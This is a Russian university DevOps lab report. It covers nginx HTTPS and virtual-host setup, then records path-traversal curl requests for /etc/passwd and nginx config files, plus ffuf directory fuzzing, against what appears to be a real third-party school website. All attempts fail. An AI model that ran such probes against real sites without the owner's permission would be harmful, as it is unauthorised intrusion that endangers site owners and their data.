

Министерство науки и высшего образования Российской Федерации
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ
УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина:

«DevOps»

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ № 3

Выполнил:

Айметов Андрей Алексеевич,

студент группы N3146



(подпись)

Проверила:

Мигулаева Татьяна Алексеевна,

инженер факультета прикладной информатики

(подпись)

Санкт-Петербург

2026г

СОДЕРЖАНИЕ

1. ЗАДАНИЕ	3
2. ПРИМЕРЫ РАБОТЫ ПРОГРАММ	4

1. ЗАДАНИЕ

1 часть

Настроить nginx по заданному тз:

1. Должен работать по https с сертификатом
2. Настроить принудительное перенаправление HTTP-запросов (порт 80) на HTTPS (порт 443) для обеспечения безопасного соединения.
3. Использовать alias для создания псевдонимов путей к файлам или каталогам на сервере.
4. Настроить виртуальные хосты для обслуживания нескольких доменных имен на одном сервере.
5. Что угодно еще под требования проекта

Результат: Предположим, что у вас есть два пет проекта на одном сервере, которые должны быть доступны по https. Настроенный вами веб сервер умеет работать по https, относить нужный запрос к нужному проекту, переопределять пути исходя из требований пет проектов.

В качестве пет проектов можете использовать что-то свое, можете что-то опенсорсное, можете просто код из трех строчек как например [здесь](#)

2 часть

Попробовать взломать nginx любого доступного сайта. Проверить минимум три уязвимости - например path traversal, перебор страниц через ffuf и/или любые другие на ваш выбор.

Рекомендую выбрать не супер популярные сайты как google или яндекс, а что-то небольшое локальное, как сайт местной спортивной федерации по бальным танцам или набора инструкций к онлайн игре.

Взлом считается успешным, если вы попали туда, куда не планировалось попадать пользователю, даже если там ничего нет. Успешность взлома не влияет на оценку лабы. В отчет приложить скрины попыток взлома, описание уязвимостей, на которые проверяли и итог - успешен взлом или нет.

Важно! без ддоса и подбора паролей :)

Если найдете реальную уязвимость на сайте, напишите Тане в лс, помогу вам попробовать монетизировать этот вопрос

Обратите внимание, что использование уязвимости в своих целях является незаконным действием. Поэтому если вы смогли попасть куда не следовало, не используйте это а свяжитесь с преподавателем.

Ваша цель в лабораторной - увидеть как неточности в конфигурации могут дать пользователям доступ к тем разделам сайта, которые вы не хотели им давать.

2. ПРИМЕРЫ РАБОТЫ ПРОГРАММ

1 часть

Первый хост



Второй хост

Выбор между двумя кнопками



Нажатие на кнопку “нет”



Хорошая лаба?

Ошибка!

[Вернуться назад](#)

ITMO UNIVERSITY

Возвращение обратно и нажатие на кнопку “да”



Хорошая лаба?

Ура! Спасибо!

ITMO UNIVERSITY

2 часть

Directory Listing

```
(sanwerde@colorfulkali)-[~]
$ curl http://msosh1.obr.site/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>

(sanwerde@colorfulkali)-[~]
$ curl http://msosh1.obr.site/../../../../etc/nginx/nginx.conf
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

(sanwerde@colorfulkali)-[~]
$ curl http://msosh1.obr.site/../../../../var/log/nginx/access.log
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
```

Path Traversal

```
(sanwerde@colorfulkali)-[~]
$ curl http://msosh1.obr.site/../../../../etc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>

(sanwerde@colorfulkali)-[~]
$ curl http://msosh1.obr.site/../../../../etc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>

(sanwerde@colorfulkali)-[~]
$ curl http://msosh1.obr.site/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>
```

```
(sanwerde@colorfulkali)-[~/.../DevOps/Lab3/Part2/ffuf]
$ curl https://msosh1.obr.site/images/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache Server at msosh1.obr.site Port 443</address>
</body></html>

(sanwerde@colorfulkali)-[~/.../DevOps/Lab3/Part2/ffuf]
$ curl https://msosh1.obr.site/uploads
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://msosh1.obr.site:443/uploads/">here</a>.</p>
<hr>
<address>Apache Server at msosh1.obr.site Port 443</address>
</body></html>
```

```
(sanwerde@colorfulkali)-[~]  
$ curl "http://msosh1.obr.site/images/../../../../etc/passwd"  
<html>  
<head><title>301 Moved Permanently</title></head>  
<body>  
<center><h1>301 Moved Permanently</h1></center>  
<hr><center>nginx</center>  
</body>  
</html>  
  
(sanwerde@colorfulkali)-[~]  
$ curl http://msosh1.obr.site/../../../../../../../../windows/win.ini  
<html>  
<head><title>301 Moved Permanently</title></head>  
<body>  
<center><h1>301 Moved Permanently</h1></center>  
<hr><center>nginx</center>  
</body>  
</html>
```



```
(sanwerde@colorfulkali)-[~/../DevOps/Lab3/Part2/ffuf]
$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt -O common.txt
--2026-04-21 15:01:02-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt
Распознаётся raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.109.133, ...
Подключение к raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... соединение установлено.
HTTP-запрос отправлен. Ожидание ответа... 200 OK
Длина: 38506 (38K) [text/plain]
Сохранение в: «common.txt»

common.txt          100%[=====>]   37,60К --.-KB/s    за 0,007с

2026-04-21 15:01:02 (4,96 MB/s) - «common.txt» сохранён [38506/38506]

(sanwerde@colorfulkali)-[~/../DevOps/Lab3/Part2/ffuf]
$ ffuf -w common.txt -u http://msosh1.obr.site/FUZZ -mc 200,301,302,403 -t 15 -o results.txt

v2.1.0-dev

-----
:: Method      : GET
:: URL         : http://msosh1.obr.site/FUZZ
:: Wordlist     : FUZZ: /home/sanwerde/Рабочий стол/Лабы/DevOps/Lab3/Part2/ffuf/common.txt
:: Output file  : results.txt
:: File format  : json
:: Follow redirects : false
:: Calibration  : false
:: Timeout      : 10
:: Threads      : 15
:: Matcher      : Response status: 200,301,302,403
```

9